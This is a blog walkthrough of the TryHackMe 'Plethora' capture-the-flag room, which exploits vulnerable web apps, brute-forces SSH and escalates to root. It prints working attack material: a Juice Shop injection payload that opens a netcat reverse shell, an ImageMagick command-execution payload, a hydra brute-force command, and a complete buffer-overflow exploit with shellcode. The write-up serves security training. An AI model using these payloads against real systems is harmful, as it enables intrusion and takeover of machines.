Planet DesKel

DesKel's official page for CTF write-up, Electronic tutorial, review and etc.

14 August 2020

THM write-up: Plathora

10 minutes to read

titlecard

Link: https://tryhackme.com/room/plethora

Greeting there, welcome to another THM CTF write-up. Today, we are going through a beginner room created by user zayotic. This room contains lots of vulnerabilities in terms of the web application. that is the reason the room gets its name, plethora. The challenge includes the famous DVMA, XVWA, Mutillidae and OWASP juice shop. Also, you might hear about vulnbank. However, this is not the vulnbank from vulhub, it was another vulnbank ltd. I guess the main objective of this room is to explore all sorts of web vulnerabilities such as SQL injection, XSS and command injection. I highly recommend you to do all the available stuff in the room, not just finding the flag. Instead of web vulnerability, ssh brute-force attack and buffer overflow also can be found in this room. Let’s begin the walkthrough, shell we?

First and foremost, launch your Nmap scanner and scan for open ports on the machine.

nmap -Pn -A -v <machine IP>

nmap

The only ports we concerned here are port 22 (SSH), port 445 (SMB), port 80 (HTTP).

Task 1-1: DVWA

I not going to do a full walkthrough on the web vulnerability. The main goal of this write-up is to answer the question. Like I said before, it is best for you to explore the entire vulnerability by yourself.

To locate the flag, we need to utilize the command injection vulnerability. For your information, the flag is located at the main file system. You might ask how I found the location. Actually, I completed the task by listing all the directories.

DVWA

Task 1-2: XVWA

Similar to the previous task, locate the command injection tab and read the flag.

XVWA

Same location but different content, I’m guessing the box is using docker.

Task 1-3: Mutillidae

Similar stuff, locate to the command injection (OWASP 2017 –> A1 Injection (other) –> command injection –> DNS lookup).

mul

Task 1-4: OWASP juice shop

For this task, I need to honestly tell you that I’m cheating for the flag. I read the content inside the docker image after I gain access as a root user. For this task, I’m not going to show you the flag until someone clarifies the following vulnerability as the solution.

For your information, we can get the reverse shell by completing the task: Infect the server with juicy malware by abusing arbitrary command execution. This can be done on playing around with the user name. I’m going to show the working solution on my local machine.

Firstly, register yourself as a legit user and go to your profile page.

OWASP

By putting #{1+1} on the username, we get an output of 2. Credit to this write-up, this is abusing the lack of encapsulation of javascript. We are going to craft a reverse shell payload by entering the following.

#{global.process.mainModule.require('child_process').exec('nc -e /bin/bash 127.0.0.1 4444')}

Open up our Netcat listener and capture the reverse shell.

nc

That’s it, this is how I exploit the page by listening to a reverse shell. The problem is, the web page on the THM is running as a docker. For your information, the above vulnerability has no effect on a docker. If you found a vulnerability on reading the flag file inside the docker, please let me know. Much appreciate.

not working

Task 1-5: Vulnbank

For this task, you need to locate yourself on the login page.

http://<machine IP>:8091/vulnbank/online/login.php

The login credential is j.doe:password. The web is actually vulnerable to Imagemagick arbitrary command execution. Since our primary objective is to read the flag.txt like the previous task, draft the following payload and save as .png file.

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/oppsie.jpg"|cat /flag.txt > hack.txt")'
pop graphic-context

After that visit user info on the top right corner and upload the payload.

image

After that visit the following URL and capture the flag.

http://<machine IP>:8091/vulnbank/online/hack.txt

That’s all for the CTF on web vulnerability. Time to move on.

Task 1-6: Capture user’s flag

Still, remember the Port 445 and port 22 on the Nmap? Now, do the enumeration on the samba port using enum4linux.

enum4linux <machine IP>

enum

Look like we have 2 users on the machine. As for the next step, we are going to brute force both users’ SSH passwords using hydra.

hydra -t64 -l <username> -P /usr/share/wordlists/rockyou.txt ssh://<machine IP>

After a few seconds, we are able to get the mason and zayotic SSH passwords from the result. I recommend login as zayotic if you going for an easy way or mason as hard way.

After login to the SSH shell, time to capture the user flag from zayotic’s home directory.

zayotic

Task 1-7: Capture the root flag

There are two ways to capture the root flag, sudo and buffer overflow. I ‘m going to demonstrate both solutions

Sudo way (Easy)

This is the easiest way to solve the challenge but less challenging. But first, you need to log in as zayotic and check for sudo privilege.

sudo

The /bin/bash command caught my eye, simply punch in the following command as escalate ourself as the root user.

sudo /bin/bash

root

Buffer overflow (Challenging)

Actually I escalate myself as root user through this method because I log in as mason in my first walkthrough. There is one interesting folder on zayotic home directory, bof. For your information, bof usually stands for buffer overflow. By looking at the C code, I definitely can overflow the program and gain root access.

mason

I’m going to explain the buffer overflow step-by-step

Step 1: Overflow the program with 100 A(s)

As for the first step, we are going to create 100 A characters using the following python code.

python -c "print('A'*100)" > /home/zayotic/A.in

Launch the program with gdb (debugger).

gdb stack

After that, run with the payload we just created

gdb$ r < /home/zayotic/A.in

payload

The following indicated that we have successfully overflowed the buffer. As for the next step, we are going to find the EIP offset.

success

Step 2: Finding EIP offset

To identify the EIP offset, we need to create a pattern. On your own machine, enter the following command to create the pattern.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100

pattern

After that, run the program with gdb again. Copy and paste the pattern after the gdb prompt for input.

copy

the offset

Copy the address as we going to calculate the offset with the following command.

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x63413563

calculate offset

We just calculated the EIP offset which is 76. The number means we need 76 ‘A’ in order to hijack the return address. This return address is important as it going to redirect to a malicious payload which will be explained in the later step. To verify our finding is valid, we create the following payload by setting the return address 0xffffddaa.

python -c "print('A'*76 + '\xaa\xdd\xff\xff')" > /home/zayotic/eip.in

play around

Now, we are able to play around with the return address.

Step 3: Putting the shellcode

We are going to use the following shellcode as a malicious payload we just talked about before.

\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

But first, we need to find a proper location to put our shellcode. Normally, people put the shellcode inside the buffer. The problem is, the buffer declared is rather small (around 64 bytes) which is the result of a lower chance of getting the shell. In this special case, I put the shellcode outside the buffer. To perform this step, we are going to find a good location by drowning lots of NOP operation or ‘\x90’.

$ python -c "print('A'*76 + '\xaa\xdd\xff\xff' + '\x90'*100)" > /home/zayotic/nop.in

After that run with the payload in gdb mode. Then, check for the stack with the following command.

gdb$ x/100x $exp-200

shell location

The red highlighted location serves a better spot for the return address to execute our shellcode. For this walkthrough, I’m going to use address 0xffffd738.

Step 4: Moment of truth

After getting all the required information: the EIP offset and the return address to execute the shellcode, time to draft the final payload and run with the program.

python -c "print('A'*76 +'\x38\xd7\xff\xff' + '\x90'*100 +'\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80')" | ./stack

the end

A long journey but worth the time I spend.

Conclusion

That’s all for the simple and yet amusing beginner CTF room by zayotic. Hope you learn something today. Until next time ;)

tags: tryhackme - CTF - recon - command_injdection - bof - privilege_escalate

Thanks for reading. Follow my twitter for latest update

If you like this post, consider a small donation. Much appreciated. :)


Vortex


© 2020 DesKel